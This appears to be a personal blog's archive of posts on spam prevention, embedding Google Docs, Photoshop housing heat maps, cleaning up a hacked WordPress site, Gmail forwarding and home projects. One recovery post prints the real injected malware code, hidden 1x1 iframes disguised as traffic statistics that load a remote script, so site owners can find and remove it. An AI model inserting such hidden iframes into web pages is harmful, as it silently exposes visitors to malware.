JasonMorrison.net

Spam, it’s not just for breakfast and email anymore.  Webspam is a huge problem - if you run a blog or a forum, you’re probably familiar with the gobs and gobs of gibberish being posted all over the web by spammers.

This humble blog, which only gets a few hundred visitors per day, has had over 17,000 spam comments since I moved over to Wordpress last year.  Having your site inundated with comment spam can be just as big a headache as getting hacked.  No one wants to spend hours every day sorting the good posts from the bad.  I’ve already written about how to totally clear out a spammed forum and erase all traces of it’s reputation-marring existence, but the best solution is prevention.

Here are some steps you can take to help prevent spam on your blog or forum.

Keeping Spam off Your Blog

This section assumes you’re hosting your own blog and can add plugins and make configurartion changes, and my examples will be WordPress-heavy because I’m more familiar with WordPress.

Option 1:  Close or restrict comments. Most blogs give you some options to restrict who can comment on articles.  In Wordpress, you can require that users create accounts to comment under Settings -> General.  This might not help too much since I’ve seen hundreds of automated user accounts created right alongside the spam.

You can also require that comments are approved before they appear - in Wordpress look under Settings -> Discussion.  This will stop your blog from being graffitied without your knowledge but also requires manual effort.  You can also disallow trackbacks and pingbacks, which are really cool in theory but a major avenue for automated spam.

You can also shut down comments completely, or disable comments on old posts.  At that point you may be throwing the baby out with the bathwater, but it’s certainly effective.

Option 2:  Make sure commenters are real people with a captcha. Even if you’re not familiar with the term, you’re familiar with captchas.  They’re the little widgets at the end of a form where you have to decipher some scrambled text from an image.  Many blogs have captcha options built in, but if you’re looking for a captcha plugin be sure to balance usability with security.

I’ve used the Did You Pass Math plugin with some success.  Jeff Atwood has used an extremely simple captcha for years on his high-traffic blog.  Recaptcha is a really cool project that helps fight automatic posting and digitize old books at the same time.

Option 3:  Use an automatic filtering system. If you’re using Wordpress, I have three words for you:  Akismet, Akismet, Akismet! Seriously, Akismet is so good at automatically marking spammy commetns and trackbacks that it’s almost scary.  If you’re not using WordPress, you may still be able to find an Akismet plugin for your blogging platform.  There are other systems worth trying as well such as Spam Karma but I have less experience with those.

Keeping Spam off Your Forum

Again, I’m assuming you are hosting the forum yourself or can otherwise make config changes.  I’ll use phpBB (version 3) as an example because I’ve used it in the past.

Option 1:  Restrict user accounts. This can be a tough call, because when you start a forum you want to make it as easy as possible for people to join in the discussion.  Unfortunately, allowing anyone to register and begin posting without any admin approval also opens the door for spammers.

In phpBB this setting can be found in the Administration Control Panel under Board Configuration -> User Registration Settings.

Option 2:  Again with the captchas. Captchas aren’t 100 percent garanteed to remove spam but they do help.  If your forum software doesn’t have a captcha or a captcha plugin, I would seriously consider upgrading to a version that does or switching forums completely.  I know it’s a huge pain but waking up one morning to find 10,000 spam posts is even worse.

In phpBB3 look under Board Configuration -> User Registration Settings for a setting called “Enable visual confirmation for registrations” and make sure it’s turned on.  You can change the details under Board Configuration -> Visual confirmation settings.

Option 3:  Try to find an automatic filtering system. This is harder than for blogs.  There was an Akismet phpBB mod but it’s apparently not being maintained.  There’s a workaround involving the Spam Words mod that you can read about here.  The Spam Words mod might be worth trying on it’s own too.  Here’s a thread with more options for phpBB2, search around and find what’s available for your forum software.

Even without automated filtering, you can try to slow down the spammers by setting a time limit between posts (most human beings don’t type as quickly as spambots do).  Other options, such as disallowing links and BBCode, are pretty drastic but might make your blog less enticing.

Just for fun:

Spam, spam, bacon, and Spam

I just wrote a post about buying a new camera, and because I want to compare specs on several different cameras and lenses, I’m going to need a spreadsheet.  Luckily there are some great online spreadsheet programs to chose from.  I’m going to use this as an opportunity to explore how to use Google Docs and Spreadsheets in blog posts.

Before you get started I’m assuming you already have a Google Docs spreadsheet ready to go.

1.  You can always just link to the document. By default your docs will be private so you’ll need to make them available to your readers.  To do so you’ll need to either go to the Share tab and check “Anyone can view this document WITHOUT LOGGING IN at:” or go to the Publish tab and publish the doc. Either way you’ll get regular URL to post, like this one:  http://spreadsheets.google.com/ccc?key=ppevxmL24UqmeiZSbqIU1DQ&hl=en

Links aren’t very exciting though, so how can you embed into a post instead?

2.  You can embed the content into the post.  If you’re wondering how to do it in Wordpress, one solution I’ve come across is the Inline Google Docs plugin at Broken Watch.  This plugin gets the actual text/html of the spreadsheet and places it inline in your post.  So if you have a wide blog template, or a spreadsheet with relatively few columns, it should blend right in.  On the other hand, there’s no editing or other fun.

Here’s an example of what the output looks like:

3.  You can put the doc directly in the page with an iframe. This works really, really well with Google Presentations but is a bit trickier with a doc and even less optimal with a spreadsheet. You’ll get the best-looking results if you publish the document and use the published URL in the iframe. On the other hand if you use the shared URL collaborators should be able to make changes right in your blog post.

You’ll want to create some code like this:

<iframe src=”http://spreadsheets.google.com/pub?key=ppevxmL24UqmeiZSbqIU1DQ” width=”500″ height=”400″></iframe>

Make sure you put the code in the “HTML” editing mode of Wordpress rather than “Visual” mode.  As a result you can see some of the info I’ve gathered about possible camera / lens combinations in the spreadsheet below.

The main issue here is the relatively small iframe window size. If you use a wider blog template this technique might work really well.

Why bother? Spreadsheets aren’t the most exciting thing in the world for most people, but play around with all the features of Google Docs and Spreadsheets and you’ll see why this can be pretty cool.  You can embed questionnaires and surveys, cool charts and graphs with Gadgets, and anything else you can think of.

Earlier I wrote a bit about what to do when your site has been hacked or spammed to the point where Google and Firefox start warning visitors away from your site.  If you find you site deleted from Google search results completely, you’ll want to file a reconsideration request.

Luckily, the Google Webmaster Central blog has a great post on how to make a request to get back into Google.  The post includes a step-by-step video.  You can also check out the Google Webmaster Help group if you have questions.

In part 1 we created a simple heat map in Photoshop to figure out which neighborhoods would be good places to look for a new house. But distance from work and school isn’t the only factor worth considering. We can always add more radial gradients to show proximity to favorite restaurants, family members, and the like. But that’s really just more of the same.

Think about the things that make a neighborhood a pleasant place to be - low crime, low pollution, parks nearby, friendly neighbors - some of those things can be quantified and mapped. We’ll have to wait for demographers to release official neighborhood friendliness metrics after the next census, but let’s see if we can find some of the other data.

Step 3: Highlight on-map elements

At least one of the new factors we want to look at is already available on our map - parks. All the parks on the map are in one of two shades of green. Use the Magic Wand Tool to select park areas and then Select -> Similar. You can see how I’ve selected the parks in the example below.

Now we’re going to do something similar to the concentric circles in step 2. Choose Select -> Modify -> Expand. You might have to play around with the number of pixels you expand by - for the scale I was working at, 20 pixels looked like close walking distance. Now use the fill tool with a low opacity to fill the area with the same color you used for the circles.

You can then repeat the expand and fill steps as many times as you like to build a heat map of park proximity. Don’t forget to change the blending mode to Multiply to match your other layers.

You can follow similar steps for other on-map elements, like shopping centers, college campuses, bodies of water - it all depends on what you like to be near and what’s available on your base map.

Step 4 - Pulling in data maps

First, a disclaimer: this isn’t a tutorial on how to automatically pull data from a server and have Photoshop map it for you (but keep watching my blog for a similar project in the future). Instead, we’re going to pull data maps from other places on the web and fit them over our heatmap.

The hardest part of this next step is finding the maps. The number and quality of maps available depends on your location, but in general the best two places to look are county and city websites and nearby colleges. If you don’t find what you’re looking for under “Maps” try looking for “GIS,” planning departments, or property information. Also, many government web sites have poor search systems - try doing a Google search with the site operator instead. For example, a search for Cuyahoga County might look like this: site:cuyahogacounty.us maps gis.

For this example, I’m going to grab a map from Case Western Reserve University’s NEO CANDO site. Another good source for the Cleveland area is the the Cuyahoga County Brownfields GIS server. My wife and I both have graduate degrees and we really value education - so I’m going to grab a map of the percentage of people with bachelor degrees or higher by census tract.

Now that we have a data map, we need to clean it up a bit and add it to our base map. Open the data map in Photoshop and use the Magic Wand tool to select the black and gray areas - the lines and numbers. Use Select-> Similar to make sure uoi have most of it selected and hit Delete. Now Select All, Copy and Paste it into your map as a new layer.

You’ll might want to use the Magic Wand and Select-> Similar again to clear out all the white area around the map and leave it transparent, but you don’t have to - you’re going to change the layer blending mode to Overlay like the other layers anyway. At this point, I can almost guarantee that the data map will be much smaller than your base map. Chose Edit -> Transform -> Scale to stretch it to fit. There’s no sure-fire way to do this, just keep stretching until you have a good fit to known boundaries like coastlines and major streets.

Here’s the result:

Step 5 - Bring it all together

Now that we have all these different layers, it’s time to pull them all together in one heat map.  You have a few options on how to do this.  If you make all the layer visible at the same time your going to get a lot of very blue areas.  Instead, try lowering the opacity of each layer based on who important it is to you.  You can see an example of my Cleveland area map below.

If you want to make the strongest areas of the heat map more visible, start by making your base map invisible while leaving all your other layers up.  Go to Select -> color range and clikc the eye dropper on the darkest blue area you can find.  Now increase the Fuzziness until it looks like the best areas are selected.  Hit the OK button, create a new blank layer, turn off the rest of your layers, and fill the selection with your blue.  You can see the result below.

Hopefully this has been helpful.  You don’t have to make your map quite as involved as mine, and of course if you are looking in a smaller area you can constrain your map further.

Stay tuned for more updates on this topic.  If you have a feed reader you can subscribe to my blog and if you’d like you can get email updates, too.

If you’ve ever moved to a new city and looked for a house or apartment you know how difficult it can be.  What neighborhood, which side of town?  Can we live close to my wife’s workplace and not to far from mine?

I thought I would share the method I used to find our last house, using Photoshop to build a heat map of the city.  Note that this is NOT the method I used to find our current apartment - watch this space for more news on that coming up.

Step 1 - Build a map

In order to build our heat map you’ll need a base map to place everything on.  Back in 2004 when I did this project Mapquest was still the best thing going, so that’s what I used.  If I were doing it now, I would go with Google Maps.

This is the most tedious step, since you’ll need to center your map, take a screenshot, then cut the map portion of the screenshot and paste it into your working image.  If you have a scanner and a nice print map you’d like to use instead, feel free to go that route.

You can see my example, a map for the Greater Cleveland area, below.  Click to see a larger version.  The inset shows you the level of street detail I found best - zoomed in close enough to see all the streets, but not so close as to make your map unusably large.

Step 2 - Place your main locations

What are the three most important factors in real estate?  Location, location, location.  In our case we want to live close to the locations we need to go to on a regular basis.  For us that was two workplaces and two universities.

Heat maps are a great way to visualize information.  They are a perfectly appropriate choice for map location and distance information.  So create a new layer in Photoshop.  Choose the gradient tool and make sure you’re using a Radial Gradient.  The gradient should go from a solid color (I chose blue) to transparent.  Using the map, create a radial gradient about as wide as you would like to drive.

These smooth gradients can make it hard to make distinctions when you are zoomed in and, on a large map, will take up a lot of disk space.  So an alternative method would be to create a series of coencentric circles, each smaller than the last.  That’s the method I used in the example below.

Once you have one good circle layer, copy it for each of the locations you want on your map and drag them in to place.  You’re probably going to want to change the blending mode for the layers so that you can still see map details - I recommend using Multiply and lowering the opacity just a bit.

In my example map, you can already see how this could help narrow down which neighborhoods to look in.  It also shows quite visually that there’s no point in trying to live closer to Kent - it doesn’t intersect with any of the other hot spots.

In part 2, we’ll take a look at pulling in data maps for things like crime statistics , highlighting other map features, and pulling it all together.  Also, I’ll have an exciting announcement about another project I’ve been working on soon as well.  Stay tuned.

Earlier I wrote about the steps you should take if your site has been hacked and is being slapped with a “This site may harm your computer” label. In that post we covered some of the sneaky ways scammers will insert text into your posts on Wordpress and other blog software.

But what if it’s even worse? Let’s say you installed a forum like phpBB to play around with but haven’t been keeping up with security updates. Or, even worse, your ftp account has been compromised and spammers have installed their own bulletin board or other content in a subfolder or subdomain. You don’t want Google and Yahoo thinking you are a spammer, so what do you do?

In that worst-case scenario, you’ll first need to change your passwords and make sure you have control of any and all ftp accounts, telnet accounts, etc. You may need to work with your host to make sure everything is locked down. Web server security is a big topic in it’s own right so from here on out we’ll assume you’ve already got that covered.

Step 1 - Delete the spam!

The first thing to do is delete the spammy bulletin board. Go ahead and delete all the contents of the directory. Don’t delete the directory itself quite yet. This does two things - it stops the spammers from getting any benefit from wayward visitors to your site and it causes your web server to start serving 404s (not found) to search engine spiders.

You can go one step further and explicitly tell browsers and spiders that this stuff is gone forever- by serving a 410 (gone). You can do this with any server-side language, my example will be in PHP. Create a new index.php file in your formerly-spammed directory that looks like this:

<?php header("HTTP/1.1 410 Gone");
header("Status: 410 Gone");?>

This will cover the main directory and then you can use mod_rewrite to redirect all the deleted pages to your 410 file.

Step 2 - Update your robots.txt

At this point search engine spiders will be able to figure out that the pages should be removed from their indexes, but only one page at a time as they re-crawl your site. You want it out of there ASAP, so create a robots.txt entry to tell spiders to stay away from the whole directory. It should look something like this:

User-agent: *
Disallow: /forum/

If the spam was in a subdomain, you’ll need to make sure you have a robots.txt file in the root directory of the subdomain that disallows the whole thing:

User-agent: *
Disallow: /

Step 3 - Tell Google about the spam

Log in to Google Webmaster Tools and look under Tools -> Remove URLs.  Create a new removal request for the subdirectory or subdomain you’ve cleaned.  This might seem a little redundant, since you’ve already done two steps that will let search engines know you’re no longer serving up spam.  But it’s worth being as explicit as possible to get your site’s reputation cleared as quickly as possible.

Bonus tip:  Subdomains and Google Webmaster Tools

If your spammed forum was in a subdomain, let’s say http://forum.exmaple.com, you’ll need to add the subdomain as a new site in Google Webmaster Tools.  You’ll need to go through the site verification process for the subdomain, too - it won’t verify automtically like if you had added a subdirectory as a new site.

By the way, if you’d like some more tips about keeping your site clean and tidy, check out this great post on the Google Webmaster Central Blog.

Any questions? Comments?  Tips that I’ve missed?  Please post in the comments section below.

Earlier I wrote about what I did when my Wordpress blog started returning a “This site may harm your computer” warning in Google and Firefox. Just to recap, these are the first steps to take to fix the problem:

1. Plug the hole - update Wordpress (or your blog, forum, or CMS software) to plug any security holes.
2. Repair the damage - search for spammy outgoing links or malware files on your pages and delete them.
3. Clear your good name - request a review by StopBadware.org and in Google Webmaster Tools.

This is the right process to follow, but it turns out that I was a bit premature in doing step 3. Spammers and spyware spreaders are a wily, unpredictable bunch and they can’t be expected to stick to simple tactics like inserting links into posts.

The other tactic they used on my site was inserting invisible iFrames. These are harder to find because there aren’t as many automated tools to find them (or, at least, I don’t know of any) so it takes some manual searching through your source code. Here’s what the malware code looked like:


<!-- Traffic Statistics --> <iframe src=http://www.wp-stats-php.info/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics -->

<noscript></noscript> <iframe src=”http://61.132.75.71/iframe/wp-stats.php” frameborder=”0″ height=”1″ width=”1″></iframe><br />
<!– End Traffic Statistics –>

It looks like others have run into the same issue. Your anti-virus software may even give you a warning about a virus in a file named “wp-stats[1].htm.” In my case AVG Antvirus warned me about a trojan horse in my temp folder.

Once I removed the iframes, I resubmitted my request in Google Webmaster Tools. Here’s another helpful hint that took me a while to figure out: If only part of your site has been hacked and is marked in StopBadware.org’s database, you should Add that subdirectory as a new site in Webmaster Tools. Here’s an illustration (click to see full size):

In this screenshot you can see my main site, www.jasonmorrison.net. If I click there I don’t see any warning about spam or viruses in my blog at www.jasonmorrison.net/content. So I just added my blog as a new “site” and there I could see the warnings and make a reconsideration request.

One last thing: Google may send out an email to try to let you know about these sorts of problems. I never saw these emails, though, since they go to addresses like abuse@yourdomain.com and admin@yourdomain.comthat spammers also like to use. They ended up in my spam bucket. So you might want to whitelist email from google.com.

Next in part three I’ll talk about what to do when a whole subdomain (perhaps with a forum) is filled with spam. Please put questions or additional suggestions in the comments below.

I ran across a confusing issue in Gmail and I’d like to share what I did to resolve it.  It seems that Gmail won’t show you the original sender of a forwarded email by default in many cases.  Here’s how I found the issue and what I did to correct it.

My wife and I have a shared blog that automatically sends out updates to subscribers via Feedburner.  Feedburner is a great service if you have a blog, and you can use it to subscribe to my feed and get updates when I write on this blog as well.

When friends and family reply to an email from Feedburner, it goes to my email address and I need to forward it to my wife so she can read it too.  I use Mozilla Thunderbird as my email client so it’s easy to set up a filter to do it automatically (look under Tools –> Message Filters).  But when the forwarded email showed up in my wife’s Gmail inbox, it showed only me as the sender - with no mention of the original sender, so she couldn’t tell who was replying to our blog.

Gmail does let you see the original full text of the message - there’s a little down arrow next to Reply with a menu that includes “show original.”  Email headers are hardly user-friendly, though, so that’s not a very good solution.

It turns out that Gmail shows the name of the forwarder, not the name of the original sender, on forwards that are sent as an attachment.  If the forward was sent inline it’s easy to see the original sender in the body of the mail.  By default, Thunderbird sends forwards as attachments and I think Outlook has a similar default… in any event this is pretty common behavior.

To fix it from my end I went in Thunderbird, to Tools-> Options and selected the Composition icon.  Under the General tab, I changed Forward Messages to “Inline.”  This does the trick.

It would be nice, however, if Gmail made this a little more apparent in the user interface.  Maybe saying something like “[forwarder name] forwarding from [original sender name].”  Or it could be worked into the way conversations are viewed as threads.

This may not be a very common issue, so it might not warrant a change to Gmail, but it’s a small enough usability tweak that it might be worth it.  Hopefully you found this post helpful.

This site is just a humble blog where I write a bit about programming, design, usability, and other topics I’m interested in. It’s nice that I get some readership and few few good comments now and again but I don’t have any real financial stake here, and I’m definitely not interested in trying to spam anyone, send them spyware, etc. So imagine my shock when I noticed that my blog comes up with a warning, “This site may harm your computer.”

This comes up in various places including Firefox 3 and Google searches.  Obviously no one is going to follow a link to my site with such a disclaimer. So where did it come from and what did I do to clear my sites good name?

The disclaimer comes from the findings of StopBadware.org, an effort that I had heard about in the past but hadn’t really looked into. It sounds like a great idea - it’s very difficult for users to investigate every single link they might click on, and some spyware and adware is hard to see before it’s too late. So Stopbadware.org is a sort of neighborhood watch for the web.

How did my site end up on the list? There are a number of possibilities, so the first step is to check StopBadware.org to see what they found. Follow this link to search for your URL. Make sure you search for your root domain, in my case jasonmorrison.net. Some subdomains or directories might show up with a report while others are still considered clean. This confused me for a while.

Once you see the details there it’s time to hunt for problems. If you have anything more than a simple, static site this can be more difficult than it might first seem. My site uses Wordpress and allows user comments. A bad link to show up in a comment, or someone may have hacked the site using a known vulnerability. It looks like it was the latter in my case, but I’m getting ahead of myself. How do you find the bad link?

There are lots of tools to find incoming links to your site, but I’ve only found one so far that checks outgoing links, at Bad Neighborhood. Don’t blindly rely on this tool, but follow up on any links that you don’t recognize having put there yourself. I found a link in the middle of a post from a month or so ago to some spammy German site.

How did the link get there? I don’t think my site was hacked wholesale (or if it was, they were very subtle about it). More likely someone took advantage of my laziness as upgrading Wordpress and used a known security exploit.

Now that we’ve found and removed the offending link and plugged any known security holes, it’s time to try to get the stigma removed. Follow the link to the StopBadware.org request for review page and fill out a request. If the badware report came from one of their partners, you may have to follow up with them as well. I’m still waiting to here back on my review, I’ll post an update when I know more.

Hopefully this has been helpful. Let me know if you have any questions or suggestions in the comments below.

The group photo - that awkward assembly of a group of friends or colleagues trying their hardest not to look like they are posing while they violate each others’ personal space.  For a long time I thought it was impossible to take a good group photo, or at least it required huge amounts of creativity in choosing a setting, angle, or lord help us, props.

But I stumbled on a technique that is quick, easy, and seems to work more often than not.   I’m not necessarily claiming I invented it, but I will happily share it with you.

Step 1:  Tell the group the to act like it’s the worst day of their lives, and take a picture.

I know, it sounds like exactly the wrong thing to do.  You want to immortalize smiles and togetherness, not hatred and melancholy.  So here comes step 2…

Step 2:  Now tell the group to act like it’s the best day of their lives.  Take the picture, upload it to Flickr or whatever you use, and bask in the many kudos you will receive.

The key is that step 1 gets everyone loosened up, so that they’re willing to ham it up for the final photo.  It also gives everyone a good emotional contrast to gauge how happy to be in the happy photo.  No more sneers or unsure half-smiles.

Here’s a case where it came in handy - the setting was a restaurant, with bad lighting and a big yellowish wood background.  The camera was held by a random waitress.  Once in a while you’ll get a server who’s studying photography in art school, but not always, so this tip is a great way to make sure you get a fun photo.  First, everyone is sad:

Then, they are insanely happy!  Doesn’t it look like we were having a good time?

Keep in mind that the sad photo doesn’t have to be convincing - note that two of the people here are having a hard time keeping a straight face.  We don’t want great acting, we want to shake everyone up a little.

And it works!

How do you take a good picture on a gray, rainy day?  Again, we use the procedure.  Saddest day of their lives :

Happiest day of their lives!  Smiles despite the miserable weather.

Go forth and use the technique.  I’ve created a Sad vs. Happy photo pool in Flickr.  Please share any shots you take to it.

Have you tried it and it worked?  Didn’t work?  Got a better idea?  Leave me a comment below.

When we moved into our new house, it quickly became apparent that we would need to do something to warm up the master bedroom. It was the coldest room in the house, and November weather in Cleveland is a pretty good motivator.

So I started trying to think of ways to warm up the room. Traditional methods of insulation were out of the question in the short term - the large open attic above was too big of a project to do at the time and we couldn’t use something like blown-in cellulose insulation because our stately Tudor duplex had knob-and-tube wiring. I came up with this fast, cheap, easy-to-build project instead. You can use it to decorate your room and even save you a few bucks on your heating bill.

Here’s a sneak peak at the end result:

It’s basically a frame with some stylish fabric stretched over like the canvas in an oil painting. It’s backed with mylar which means it acts as a radiant heat barrier, keeping you toasty.

Here’s what you need:

• Some 1×2’s - buy whatever is cheapest (and not warped) at your home improvement store.
• Wood screws - maybe 1 1/2 inch to 2 inch.
• Cloth - something that would look nice on the wall. Pick out whatever you like, it should be a little stretchy.
• Aluminized mylar - better known as space blankets. Order it online or buy it at the store - it should be a dollar or two for a large sheet.
• Duct tape (of course)
• Some tools: A staple gun (and staples), tape measure, drill, screwdriver, saw.

So first, a tiny little bit of theory. Heat moves in three ways - convection, conduction, and radiation. Your house is losing heat in the winter because of these three along with air infiltration - drafts of cold air from windows and doors. Most insulation does it’s job by preventing conduction (by putting air pockets between materials) or by stopping convection in air pockets. Infiltration can be combated with storm windows, weather stripping, and vapor barriers.

Insulation is measured by R-value. This project will only help a little bit when it comes to convection or conduction - the main point here is to reflect radiant heat back into the room. So don’t ask about the R-value - like other radiant barriers, that’s not really the point.

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It started when my wife and I were following my brother to his place from a wedding. After looking through some photos I got bored and snapped some shots of his car. As you can see, not the most exciting picture in the world.

But what if I could make it into the most exciting picture in the world? With the power of Photoshop, anything is possible.

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